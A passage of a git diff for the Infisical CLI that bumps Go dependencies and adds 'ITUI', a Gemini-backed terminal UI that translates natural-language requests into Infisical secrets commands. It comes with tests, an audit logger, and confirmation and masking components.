h1:vPf/HFWTNkPu1aYeIsc98l4ktOQaL6LeSoeV2g+8YLc= +go.opentelemetry.io/otel/metric v1.29.0/go.mod h1:auu/QWieFVWx+DmQOUMgj0F8LHWdgalxXqvp7BII/W8= +go.opentelemetry.io/otel/trace v1.29.0 h1:J/8ZNK4XgR7a21DZUAsbF8pZ5Jcw1VhACmnYt39JTi4= +go.opentelemetry.io/otel/trace v1.29.0/go.mod h1:eHl3w0sp3paPkYstJOmAimxhiFXPg+MMTlEh3nsQgWQ= go.uber.org/atomic v1.6.0/go.mod h1:sABNBOSYdrvTF6hTgEIbc7YasKWGhgEQZyfxyTvoXHQ= go.uber.org/atomic v1.7.0/go.mod h1:fEN4uk6kAWBTFdckzkM89CLk9XfWZrxpCo0nPH17wJc= go.uber.org/atomic v1.9.0/go.mod h1:fEN4uk6kAWBTFdckzkM89CLk9XfWZrxpCo0nPH17wJc= @@ -827,8 +870,8 @@ golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.17.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= golang.org/x/sys v0.19.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= -golang.org/x/sys v0.37.0 h1:fdNQudmxPjkdUTPnLn5mdQv7Zwvbvpaxqs831goi9kQ= -golang.org/x/sys v0.37.0/go.mod h1:OgkHotnGiDImocRcuBABYBEXf8A9a87e/uXjp9XT3ks= +golang.org/x/sys v0.38.0 h1:3yZWxaJjBmCWXqhN1qh02AkOnCQ1poK6oF+a7xWL6Gc= +golang.org/x/sys v0.38.0/go.mod h1:OgkHotnGiDImocRcuBABYBEXf8A9a87e/uXjp9XT3ks= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k= @@ -940,8 +983,8 @@ google.golang.org/api v0.40.0/go.mod h1:fYKFpnQN0DsDSKRVRcQSDQNtqWPfM9i+zNPxepjR google.golang.org/api v0.41.0/go.mod h1:RkxM5lITDfTzmyKFPt+wGrCJbVfniCr2ool8kTBzRTU= google.golang.org/api v0.43.0/go.mod h1:nQsDGjRXMo4lvh5hP0TKqF244gqhGcr/YSIykhUk/94= google.golang.org/api v0.44.0/go.mod h1:EBOGZqzyhtvMDoxwS97ctnh0zUmYY6CxqXsc1AvkYD8= -google.golang.org/api v0.188.0 h1:51y8fJ/b1AaaBRJr4yWm96fPcuxSo0JcegXE3DaHQHw= -google.golang.org/api v0.188.0/go.mod h1:VR0d+2SIiWOYG3r/jdm7adPW9hI2aRv9ETOSCQ9Beag= +google.golang.org/api v0.197.0 h1:x6CwqQLsFiA5JKAiGyGBjc2bNtHtLddhJCE2IKuhhcQ= +google.golang.org/api v0.197.0/go.mod h1:AuOuo20GoQ331nq7DquGHlU6d+2wN2fZ8O0ta60nRNw= google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM= google.golang.org/appengine v1.4.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4= google.golang.org/appengine v1.5.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4= @@ -949,6 +992,8 @@ google.golang.org/appengine v1.6.1/go.mod h1:i06prIuMbXzDqacNJfV5OdTW448YApPu5ww google.golang.org/appengine v1.6.5/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc= google.golang.org/appengine v1.6.6/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc= google.golang.org/appengine v1.6.7/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc= +google.golang.org/genai v1.47.0 h1:iWCS7gEdO6rctOqfCYLOrZGKu2D+N42aTnCEcBvB1jo= +google.golang.org/genai v1.47.0/go.mod h1:A3kkl0nyBjyFlNjgxIwKq70julKbIxpSxqKO5gw/gmk= google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc= google.golang.org/genproto v0.0.0-20190307195333-5fe7a883aa19/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= google.golang.org/genproto v0.0.0-20190418145605-e7d98fc518a7/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= @@ -990,10 +1035,10 @@ google.golang.org/genproto v0.0.0-20210310155132-4ce2db91004e/go.mod h1:FWY/as6D google.golang.org/genproto v0.0.0-20210319143718-93e7006c17a6/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= google.golang.org/genproto v0.0.0-20210402141018-6c239bbf2bb1/go.mod h1:9lPAdzaEmUacj36I+k7YKbEc5CXzPIeORRgDAUOu28A= google.golang.org/genproto v0.0.0-20210602131652-f16073e35f0c/go.mod h1:UODoCrxHCcBojKKwX1terBiRUaqAsFqJiF615XL43r0= -google.golang.org/genproto/googleapis/api v0.0.0-20240701130421-f6361c86f094 h1:0+ozOGcrp+Y8Aq8TLNN2Aliibms5LEzsq99ZZmAGYm0= -google.golang.org/genproto/googleapis/api v0.0.0-20240701130421-f6361c86f094/go.mod h1:fJ/e3If/Q67Mj99hin0hMhiNyCRmt6BQ2aWIJshUSJw= -google.golang.org/genproto/googleapis/rpc v0.0.0-20240708141625-4ad9e859172b h1:04+jVzTs2XBnOZcPsLnmrTGqltqJbZQ1Ey26hjYdQQ0= -google.golang.org/genproto/googleapis/rpc v0.0.0-20240708141625-4ad9e859172b/go.mod h1:Ue6ibwXGpU+dqIcODieyLOcgj7z8+IcskoNIgZxtrFY= +google.golang.org/genproto/googleapis/api v0.0.0-20240903143218-8af14fe29dc1 h1:hjSy6tcFQZ171igDaN5QHOw2n6vx40juYbC/x67CEhc= +google.golang.org/genproto/googleapis/api v0.0.0-20240903143218-8af14fe29dc1/go.mod h1:qpvKtACPCQhAdu3PyQgV4l3LMXZEtft7y8QcarRsp9I= +google.golang.org/genproto/googleapis/rpc v0.0.0-20240903143218-8af14fe29dc1 h1:pPJltXNxVzT4pK9yD8vR9X75DaWYYmLGMsEvBfFQZzQ= +google.golang.org/genproto/googleapis/rpc v0.0.0-20240903143218-8af14fe29dc1/go.mod h1:UqMtugtsSgubUsoxbuAoiCXvqvErP7Gf0so0mK9tHxU= google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c= google.golang.org/grpc v1.20.1/go.mod h1:10oTOabMzJvdu6/UiuZezV6QK5dSlG84ov/aaiqXj38= google.golang.org/grpc v1.21.1/go.mod h1:oYelfM1adQP15Ek0mdvEgi9Df8B9CZIaU1084ijfRaM= @@ -1014,8 +1059,8 @@ google.golang.org/grpc v1.35.0/go.mod h1:qjiiYl8FncCW8feJPdyg3v6XW24KsRHe+dy9BAG google.golang.org/grpc v1.36.0/go.mod h1:qjiiYl8FncCW8feJPdyg3v6XW24KsRHe+dy9BAGRRjU= google.golang.org/grpc v1.36.1/go.mod h1:qjiiYl8FncCW8feJPdyg3v6XW24KsRHe+dy9BAGRRjU= google.golang.org/grpc v1.38.0/go.mod h1:NREThFqKR1f3iQ6oBuvc5LadQuXVGo9rkm5ZGrQdJfM= -google.golang.org/grpc v1.64.1 h1:LKtvyfbX3UGVPFcGqJ9ItpVWW6oN/2XqTxfAnwRRXiA= -google.golang.org/grpc v1.64.1/go.mod h1:hiQF4LFZelK2WKaP6W0L92zGHtiQdZxk8CrSdvyjeP0= +google.golang.org/grpc v1.66.2 h1:3QdXkuq3Bkh7w+ywLdLvM56cmGvQHUMZpiCzt6Rqaoo= +google.golang.org/grpc v1.66.2/go.mod h1:s3/l6xSSCURdVfAnL+TqCNMyTDAGN6+lZeVxnZR128Y= google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8= google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0= google.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM= diff --git a/infisical b/infisical new file mode 100755 index 00000000..e9db3136 Binary files /dev/null and b/infisical differ diff --git a/itui b/itui new file mode 100755 index 00000000..01c01ba0 Binary files /dev/null and b/itui differ diff --git a/packages/cmd/tui.go b/packages/cmd/tui.go new file mode 100644 index 00000000..740b56bd --- /dev/null +++ b/packages/cmd/tui.go @@ -0,0 +1,31 @@ +/* +Copyright (c) 2023 Infisical Inc. +*/ +package cmd + +import ( + "fmt" + "os" + + "github.com/Infisical/infisical-merge/packages/itui" + "github.com/spf13/cobra" +) + +var tuiCmd = &cobra.Command{ + Use: "tui", + Short: "Launch the Infisical Terminal UI (ITUI)", + Long: `ITUI is an AI-powered terminal user interface for Infisical. Use natural language to manage secrets, switch environments, and explore your projects.`, + Example: ` infisical tui + GEMINI_API_KEY=your-key infisical tui`, + Args: cobra.NoArgs, + Run: func(cmd *cobra.Command, args []string) { + if err := itui.Run(); err != nil { + fmt.Fprintf(os.Stderr, "Error running ITUI: %v\n", err) + os.Exit(1) + } + }, +} + +func init() { + RootCmd.AddCommand(tuiCmd) +} diff --git a/packages/itui/ai.go b/packages/itui/ai.go new file mode 100644 index 00000000..3d60d1cd --- /dev/null +++ b/packages/itui/ai.go @@ -0,0 +1,193 @@ +package itui + +import ( + "context" + "encoding/json" + "fmt" + "strings" + + "google.golang.org/genai" +) + +// AIClient wraps the Gemini API for NL -> CLI translation +type AIClient struct { + client *genai.Client + model string +} + +// NewAIClient creates a new AI client with the given API key +func NewAIClient(apiKey string) *AIClient { + client, err := genai.NewClient(context.Background(), &genai.ClientConfig{ + APIKey: apiKey, + Backend: genai.BackendGeminiAPI, + }) + if err != nil { + return &AIClient{model: "gemini-2.5-flash"} + } + + return &AIClient{ + client: client, + model: "gemini-2.5-flash", + } +} + +// Translate converts a natural language prompt into an Infisical CLI command. +// secretKeys contains key names only (never values) to provide context to the AI. +func (a *AIClient) Translate(userInput string, ctx SessionContext, secretKeys []string) (AIResponse, error) { + if a.client == nil { + return AIResponse{}, fmt.Errorf("AI client not initialized. Set GEMINI_API_KEY environment variable") + } + + systemPrompt := buildSystemPrompt(ctx, secretKeys) + + result, err := a.client.Models.GenerateContent( + context.Background(), + a.model, + genai.Text(userInput), + &genai.GenerateContentConfig{ + SystemInstruction: &genai.Content{ + Parts: []*genai.Part{genai.NewPartFromText(systemPrompt)}, + }, + Temperature: genai.Ptr(float32(0.1)), + MaxOutputTokens: 1024, + }, + ) + if err != nil { + return AIResponse{}, fmt.Errorf("Gemini API error: %w", err) + } + + if result == nil || len(result.Candidates) == 0 || result.Candidates[0].Content == nil { + return AIResponse{}, fmt.Errorf("empty response from Gemini") + } + + // Extract text from response + var responseText string + for _, part := range result.Candidates[0].Content.Parts { + if part.Text != "" { + responseText += part.Text + } + } + + return parseAIResponse(responseText) +} + +// parseAIResponse extracts the AIResponse from the model's text output +func parseAIResponse(text string) (AIResponse, error) { + text = strings.TrimSpace(text) + + // Strip markdown code fences if present + text = strings.TrimPrefix(text, "```json") + text = strings.TrimPrefix(text, "```") + text = strings.TrimSuffix(text, "```") + text = strings.TrimSpace(text) + + var resp AIResponse + if err := json.Unmarshal([]byte(text), &resp); err != nil { + // Try to find JSON in the response + start := strings.Index(text, "{") + end := strings.LastIndex(text, "}") + if start >= 0 && end > start { + jsonStr := text[start : end+1] + if err := json.Unmarshal([]byte(jsonStr), &resp); err != nil { + return AIResponse{ + Command: "", + Explanation: text, + ActionType: "read", + }, nil + } + return resp, nil + } + // Return as explanation if not JSON + return AIResponse{ + Command: "", + Explanation: text, + ActionType: "read", + }, nil + } + + return resp, nil +} + +func buildSystemPrompt(ctx SessionContext, secretKeys []string) string { + keyList := "none loaded" + if len(secretKeys) > 0 { + keyList = strings.Join(secretKeys, ", ") + } + + return fmt.Sprintf(`You are ITUI, an AI assistant embedded in the Infisical Terminal UI. Your sole job is to translate natural language requests into exact Infisical CLI commands. + +## Current Session Context +- Logged-in User: %s +- Project ID: %s +- Project Name: %s +- Current Environment: %s +- Current Path: %s +- Available secret keys: %s + +## CRITICAL: Value Placeholder Rules +- User prompts may contain [VALUE_N] placeholders (e.g., [VALUE_1], [VALUE_2]) +- These placeholders represent real secret values that have been redacted for security +- You MUST preserve these placeholders exactly as-is in your generated commands +- Example: if the user says "set DATABASE_URL to [VALUE_1]", generate: infisical secrets set DATABASE_URL=[VALUE_1] --env=ENV +- NEVER attempt to guess, decode, or replace placeholder values +- NEVER ask the user to provide the actual value — it is already cached locally + +## Response Format +You MUST respond with ONLY a JSON object (no markdown, no explanation outside the JSON): +{ + "command": "infisical ...", + "explanation": "One-sentence explanation of what this command does", + "action_type": "read|write|destructive", + "requires_confirmation": true|false +} + +## Rules +- action_type "read" for commands that only fetch data (secrets get, export, user, etc.) +- action_type "write" for commands that create or update data (secrets set) +- action_type "destructive" for commands that delete data (secrets delete) +- requires_confirmation MUST be true for "write" and "destructive" action_types +- requires_confirmation MUST be true when targeting production environments +- Always include --env=%s unless the user explicitly specifies a different environment +- Always include --path=%s if path is not "/" +- For listing secrets, prefer: infisical export --env=ENV --format=json +- For getting specific secrets: infisical secrets get SECRET_NAME --env=ENV --plain +- For setting secrets: infisical secrets set KEY=VALUE --env=ENV +- For deleting secrets: infisical secrets delete KEY --env=ENV --type=shared +- Never fabricate secrets or values +- If the request is ambiguous, set command to "" and use explanation to ask a clarifying question +- Never generate commands that bypass authentication +- Only generate commands for allowed subcommands: secrets, export, run, scan, user, login + +## Infisical CLI Reference + +### Authentication +- infisical login # Interactive login +- infisical user # Show current user info + +### Secrets (CRUD) +- infisical secrets --env=ENV --path=PATH # List all secrets +- infisical secrets get NAME --env=ENV --plain # Get specific secret +- infisical secrets set KEY=VALUE --env=ENV # Create/update secret +- infisical secrets delete NAME --env=ENV --type=shared # Delete secret + +### Export +- infisical export --env=ENV --format=json|dotenv|yaml|csv # Export in various formats + +### Folders +- infisical secrets folders get --env=ENV --path=PATH # List folders + +### Other +- infisical run --env=ENV -- # Run with injected secrets +- infisical scan [path] # Scan for leaked secrets + +### Common Flags +- --env=ENV Environment slug (dev, staging, prod, etc.) +- --path=PATH Secret folder path (default: /) +- --format=FMT Output format for export (dotenv, json, yaml, csv) +- --plain Output values without formatting +- --recursive Fetch from all sub-folders +- --type=TYPE Secret type: shared or personal (default: shared)`, + ctx.UserEmail, ctx.ProjectID, ctx.ProjectName, + ctx.Environment, ctx.Path, keyList, + ctx.Environment, ctx.Path) +} diff --git a/packages/itui/ai_test.go b/packages/itui/ai_test.go new file mode 100644 index 00000000..9255587a --- /dev/null +++ b/packages/itui/ai_test.go @@ -0,0 +1,146 @@ +package itui + +import ( + "testing" +) + +func TestParseValidAIResponse(t *testing.T) { + input := `{"command": "infisical export --env=prod --format=json", "explanation": "Lists all production secrets", "action_type": "read", "requires_confirmation": false}` + + resp, err := parseAIResponse(input) + if err != nil { + t.Fatalf("unexpected error: %v", err) + } + + if resp.Command != "infisical export --env=prod --format=json" { + t.Errorf("expected command 'infisical export --env=prod --format=json', got '%s'", resp.Command) + } + if resp.Explanation != "Lists all production secrets" { + t.Errorf("expected explanation 'Lists all production secrets', got '%s'", resp.Explanation) + } + if resp.ActionType != "read" { + t.Errorf("expected action_type 'read', got '%s'", resp.ActionType) + } + if resp.RequiresConfirmation { + t.Error("expected requires_confirmation false") + } +} + +func TestParseAIResponseWithMarkdownFences(t *testing.T) { + input := "```json\n{\"command\": \"infisical secrets delete KEY --env=dev\", \"explanation\": \"Deletes KEY from dev\", \"action_type\": \"destructive\", \"requires_confirmation\": true}\n```" + + resp, err := parseAIResponse(input) + if err != nil { + t.Fatalf("unexpected error: %v", err) + } + + if resp.Command != "infisical secrets delete KEY --env=dev" { + t.Errorf("unexpected command: %s", resp.Command) + } + if resp.ActionType != "destructive" { + t.Errorf("expected destructive, got %s", resp.ActionType) + } + if !resp.RequiresConfirmation { + t.Error("expected requires_confirmation true for destructive action") + } +} + +func TestParseAIResponseClarification(t *testing.T) { + input := `{"command": "", "explanation": "Which environment do you want to delete from?", "action_type": "read", "requires_confirmation": false}` + + resp, err := parseAIResponse(input) + if err != nil { + t.Fatalf("unexpected error: %v", err) + } + + if resp.Command != "" { + t.Errorf("expected empty command for clarification, got '%s'", resp.Command) + } + if resp.Explanation != "Which environment do you want to delete from?" { + t.Errorf("unexpected explanation: %s", resp.Explanation) + } +} + +func TestParseAIResponseInvalidJSON(t *testing.T) { + input := "Sorry, I don't understand that request." + + resp, err := parseAIResponse(input) + if err != nil { + t.Fatalf("unexpected error: %v", err) + } + + // Should return the text as explanation with empty command + if resp.Command != "" { + t.Errorf("expected empty command, got '%s'", resp.Command) + } + if resp.Explanation != "Sorry, I don't understand that request." { + t.Errorf("unexpected explanation: %s", resp.Explanation) + } +} + +func TestParseAIResponseEmbeddedJSON(t *testing.T) { + input := "Here is the command:\n{\"command\": \"infisical secrets set KEY=val --env=dev\", \"explanation\": \"Sets KEY\", \"action_type\": \"write\", \"requires_confirmation\": true}\nLet me know if you need help." + + resp, err := parseAIResponse(input) + if err != nil { + t.Fatalf("unexpected error: %v", err) + } + + if resp.Command != "infisical secrets set KEY=val --env=dev" { + t.Errorf("unexpected command: %s", resp.Command) + } + if resp.ActionType != "write" { + t.Errorf("expected write, got %s", resp.ActionType) + } +} + +func TestBuildSystemPrompt(t *testing.T) { + ctx := SessionContext{ + UserEmail: "test@example.com", + ProjectID: "proj-123", + ProjectName: "test-project", + Environment: "staging", + Path: "/backend", + } + + prompt := buildSystemPrompt(ctx, []string{"DATABASE_URL", "API_KEY"}) + + if len(prompt) == 0 { + t.Error("system prompt should not be empty") + } + + // Check that context values are interpolated + tests := []struct { + name string + contains string + }{ + {"user email", "test@example.com"}, + {"project ID", "proj-123"}, + {"project name", "test-project"}, + {"environment", "staging"}, + {"path", "/backend"}, + {"response format", "JSON"}, + {"secret keys", "DATABASE_URL"}, + {"placeholder rules", "[VALUE_N]"}, + {"infisical CLI reference", "infisical secrets"}, + } + + for _, tt := range tests { + if !containsStr(prompt, tt.contains) { + t.Errorf("system prompt missing %s (%s)", tt.name, tt.contains) + } + } +} + +func containsStr(s, substr string) bool { + return len(s) >= len(substr) && searchStr(s, substr) +} + +func searchStr(s, substr string) bool { + for i := 0; i <= len(s)-len(substr); i++ { + if s[i:i+len(substr)] == substr { + return true + } + } + return false +} diff --git a/packages/itui/audit.go b/packages/itui/audit.go new file mode 100644 index 00000000..22e40884 --- /dev/null +++ b/packages/itui/audit.go @@ -0,0 +1,66 @@ +package itui + +import ( + "encoding/json" + "fmt" + "os" + "path/filepath" + "time" +) + +// AuditEntry represents a single auditable action in ITUI +type AuditEntry struct { + Timestamp string `json:"timestamp"` + UserEmail string `json:"user_email"` + Environment string `json:"environment"` + UserPrompt string `json:"user_prompt"` + SanitizedPrompt string `json:"sanitized_prompt,omitempty"` + AICommand string `json:"ai_command,omitempty"` + HydratedCommand string `json:"hydrated_command,omitempty"` + ValidationResult string `json:"validation_result"` + ExecutionResult string `json:"execution_result,omitempty"` + ExecutionError string `json:"execution_error,omitempty"` +} + +// AuditLogger writes append-only JSON audit entries to ~/.itui/audit.log +type AuditLogger struct { + logPath string +} + +// NewAuditLogger creates a new audit logger +func NewAuditLogger() *AuditLogger { + home, err := os.UserHomeDir() + if err != nil { + home = "." + } + return &AuditLogger{ + logPath: filepath.Join(home, ".itui", "audit.log"), + } +} + +// Log writes an audit entry. Non-blocking: errors are silently ignored +// to avoid disrupting the TUI experience. +func (a *AuditLogger) Log(entry AuditEntry) { + if entry.Timestamp == "" { + entry.Timestamp = time.Now().UTC().Format(time.RFC3339) + } + + // Ensure directory exists + dir := filepath.Dir(a.logPath) + if err := os.MkdirAll(dir, 0700); err != nil { + return + } + + f, err := os.OpenFile(a.logPath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0600) + if err != nil { + return + } + defer f.Close() + + data, err := json.Marshal(entry) + if err != nil { + return + } + + fmt.Fprintf(f, "%s\n", data) +} diff --git a/packages/itui/components/confirm.go b/packages/itui/components/confirm.go new file mode 100644 index 00000000..39516542 --- /dev/null +++ b/packages/itui/components/confirm.go @@ -0,0 +1,125 @@ +package components + +import ( + "fmt" + + "github.com/charmbracelet/bubbles/key" + tea "github.com/charmbracelet/bubbletea" + "github.com/charmbracelet/lipgloss" +) + +var ( + confirmStyle = lipgloss.NewStyle(). + Border(lipgloss.DoubleBorder()). + BorderForeground(lipgloss.Color("#F59E0B")). + Padding(1, 2). + Width(60) + + confirmDangerStyled = lipgloss.NewStyle(). + Border(lipgloss.DoubleBorder()). + BorderForeground(lipgloss.Color("#EF4444")). + Padding(1, 2). + Width(60) + + confirmTitleStyle = lipgloss.NewStyle(). + Foreground(lipgloss.Color("#F59E0B")). + Bold(true) + + confirmDangerTitle = lipgloss.NewStyle(). + Foreground(lipgloss.Color("#EF4444")). + Bold(true) + + confirmCmdStyle = lipgloss.NewStyle(). + Foreground(lipgloss.Color("#F9FAFB")). + Bold(true) + + confirmHintStyle = lipgloss.NewStyle(). + Foreground(lipgloss.Color("#6B7280")) +) + +// ConfirmYesMsg is sent when user confirms +type ConfirmYesMsg struct { + Command string +} + +// ConfirmNoMsg is sent when user cancels +type ConfirmNoMsg struct{} + +type ConfirmModel struct { + Visible bool + Command string + Explanation string + IsDangerous bool + IsProd bool +} + +func NewConfirm() ConfirmModel { + return ConfirmModel{} +} + +func (m *ConfirmModel) Show(command, explanation string, isDangerous, isProd bool) { + m.Visible = true + m.Command = command + m.Explanation = explanation + m.IsDangerous = isDangerous + m.IsProd = isProd +} + +func (m *ConfirmModel) Hide() { + m.Visible = false +} + +func (m ConfirmModel) Update(msg tea.Msg) (ConfirmModel, tea.Cmd) { + if !m.Visible { + return m, nil + } + + switch msg := msg.(type) { + case tea.KeyMsg: + switch { + case key.Matches(msg, key.NewBinding(key.WithKeys("y", "Y"))): + m.Visible = false + cmd := m.Command + return m, func() tea.Msg { return ConfirmYesMsg{Command: cmd} } + case key.Matches(msg, key.NewBinding(key.WithKeys("n", "N", "esc"))): + m.Visible = false + return m, func() tea.Msg { return ConfirmNoMsg{} } + } + } + + return m, nil +} + +func (m ConfirmModel) View() string { + if !m.Visible { + return "" + } + + style := confirmStyle + title := confirmTitleStyle.Render("Confirm Action") + + if m.IsDangerous { + style = confirmDangerStyled + title = confirmDangerTitle.Render("!! DESTRUCTIVE ACTION !!") + } + + prodWarning := "" + if m.IsProd { + prodWarning = "\n" + lipgloss.NewStyle(). + Background(lipgloss.Color("#EF4444")). + Foreground(lipgloss.Color("#F9FAFB")). + Bold(true). + Padding(0, 1). + Render(" WARNING: This targets PRODUCTION ") + "\n" + } + + content := fmt.Sprintf("%s\n%s\n%s\n\n%s\n\n%s", + title, + prodWarning, + m.Explanation, + confirmCmdStyle.Render("$ "+m.Command), + confirmHintStyle.Render("Press y to confirm, n/Esc to cancel"), + ) + + return style.Render(content) +} diff --git a/packages/itui/components/contextbar.go b/packages/itui/components/contextbar.go new file mode 100644 index 00000000..b9476e46 --- /dev/null +++ b/packages/itui/components/contextbar.go @@ -0,0 +1,70 @@ +package components + +import ( + "fmt" + "strings" + + "github.com/charmbracelet/lipgloss" +) + +var ( + ctxBarStyle = lipgloss.NewStyle(). + Background(lipgloss.Color("#7C3AED")). + Foreground(lipgloss.Color("#F9FAFB")). + Bold(true). + Padding(0, 1) + + ctxBarProdStyle = lipgloss.NewStyle(). + Background(lipgloss.Color("#EF4444")). + Foreground(lipgloss.Color("#F9FAFB")). + Bold(true). + Padding(0, 1) + + ctxLabelStyle = lipgloss.NewStyle(). + Foreground(lipgloss.Color("#C4B5FD")) + + ctxValueStyle = lipgloss.NewStyle(). + Foreground(lipgloss.Color("#F9FAFB")). + Bold(true) +) + +type ContextBarModel struct { + UserEmail string + ProjectName string + Environment string + Path string + Width int +} + +func NewContextBar() ContextBarModel { + return ContextBarModel{ + UserEmail: "not logged in", + ProjectName: "none", + Environment: "dev", + Path: "/", + } +} + +func (m ContextBarModel) View() string { + isProd := strings.EqualFold(m.Environment, "prod") || strings.EqualFold(m.Environment, "production") + + logo := " ITUI " + user := fmt.Sprintf(" %s %s ", ctxLabelStyle.Render("User:"), ctxValueStyle.Render(m.UserEmail)) + project := fmt.Sprintf(" %s %s ", ctxLabelStyle.Render("Project:"), ctxValueStyle.Render(m.ProjectName)) + env := fmt.Sprintf(" %s %s ", ctxLabelStyle.Render("Env:"), ctxValueStyle.Render(m.Environment)) + path := fmt.Sprintf(" %s %s ", ctxLabelStyle.Render("Path:"), ctxValueStyle.Render(m.Path)) + + separator := " | " + content := logo + separator + user + separator + project + separator + env + separator + path + + style := ctxBarStyle + if isProd { + style = ctxBarProdStyle + } + + if m.Width > 0 { + style = style.Width(m.Width) + } + + return style.Render(content) +} diff --git a/packages/itui/components/detailpane.go b/packages/itui/components/detailpane.go new file mode 100644 index 00000000..0ff55184 --- /dev/null +++ b/packages/itui/components/detailpane.go @@ -0,0 +1,231 @@ +package components + +import ( + "fmt" + "strings" + + "github.com/charmbracelet/bubbles/viewport" + tea "github.com/charmbracelet/bubbletea" + "github.com/charmbracelet/lipgloss" +) + +type DetailMode int + +const ( + DetailModeSecret DetailMode = iota + DetailModeOutput + DetailModeWelcome +) + +var ( + detailBorder = lipgloss.NewStyle(). + Border(lipgloss.RoundedBorder()). + BorderForeground(lipgloss.Color("#374151")). + Padding(0, 1) + + detailActiveBorder = lipgloss.NewStyle(). + Border(lipgloss.RoundedBorder()). + BorderForeground(lipgloss.Color("#7C3AED")). + Padding(0, 1) + + dLabelStyle = lipgloss.NewStyle(). + Foreground(lipgloss.Color("#6B7280")). + Width(12) + + dValueStyle = lipgloss.NewStyle(). + Foreground(lipgloss.Color("#F9FAFB")) + + dKeyStyle = lipgloss.NewStyle(). + Foreground(lipgloss.Color("#10B981")). + Bold(true) + + dMaskedStyle = lipgloss.NewStyle(). + Foreground(lipgloss.Color("#F59E0B")) + + dErrorStyle = lipgloss.NewStyle(). + Foreground(lipgloss.Color("#EF4444")) + + dSuccessStyle = lipgloss.NewStyle(). + Foreground(lipgloss.Color("#10B981")) + + dTitleStyle = lipgloss.NewStyle(). + Foreground(lipgloss.Color("#7C3AED")). + Bold(true). + Padding(0, 0, 1, 0) +) + +type DetailPaneModel struct { + viewport viewport.Model + Active bool + Mode DetailMode + Width int + Height int + + // Secret detail + SecretKey string + SecretValue string + SecretType string + SecretPath string + SecretComment string + ValueRevealed bool + + // Command output + OutputTitle string + OutputContent string + OutputIsError bool +} + +func NewDetailPane() DetailPaneModel { + vp := viewport.New(30, 10) + return DetailPaneModel{ + viewport: vp, + Mode: DetailModeWelcome, + } +} + +func (m *DetailPaneModel) SetSize(width, height int) { + m.Width = width + m.Height = height + m.viewport.Width = width - 4 // border + padding + m.viewport.Height = height - 4 +} + +func (m *DetailPaneModel) SetSecret(key, value, secretType, path, comment string) { + m.Mode = DetailModeSecret + m.SecretKey = key + m.SecretValue = value + m.SecretType = secretType + m.SecretPath = path + m.SecretComment = comment + m.ValueRevealed = false + m.updateViewportContent() +} + +func (m *DetailPaneModel) SetOutput(title, content string, isError bool) { + m.Mode = DetailModeOutput + m.OutputTitle = title + m.OutputContent = content + m.OutputIsError = isError + m.updateViewportContent() +} + +func (m *DetailPaneModel) ToggleReveal() { + if m.Mode == DetailModeSecret { + m.ValueRevealed = !m.ValueRevealed + m.updateViewportContent() + } +} + +func (m *DetailPaneModel) updateViewportContent() { + var content string + + switch m.Mode { + case DetailModeSecret: + content = m.renderSecretDetail() + case DetailModeOutput: + content = m.renderOutput() + case DetailModeWelcome: + content = m.renderWelcome() + } + + m.viewport.SetContent(content) +} + +func (m *DetailPaneModel) renderSecretDetail() string { + var b strings.Builder + + b.WriteString(dTitleStyle.Render("Secret Detail")) + b.WriteString("\n\n") + + b.WriteString(dLabelStyle.Render("Key:")) + b.WriteString(" ") + b.WriteString(dKeyStyle.Render(m.SecretKey)) + b.WriteString("\n\n") + + b.WriteString(dLabelStyle.Render("Value:")) + b.WriteString(" ") + if m.ValueRevealed { + b.WriteString(dValueStyle.Render(m.SecretValue)) + } else { + b.WriteString(dMaskedStyle.Render("•••••••• [press r to reveal]")) + } + b.WriteString("\n\n") + + b.WriteString(dLabelStyle.Render("Type:")) + b.WriteString(" ") + b.WriteString(dValueStyle.Render(m.SecretType)) + b.WriteString("\n\n") + + b.WriteString(dLabelStyle.Render("Path:")) + b.WriteString(" ") + b.WriteString(dValueStyle.Render(m.SecretPath)) + + if m.SecretComment != "" { + b.WriteString("\n\n") + b.WriteString(dLabelStyle.Render("Comment:")) + b.WriteString(" ") + b.WriteString(dValueStyle.Render(m.SecretComment)) + } + + return b.String() +} + +func (m *DetailPaneModel) renderOutput() string { 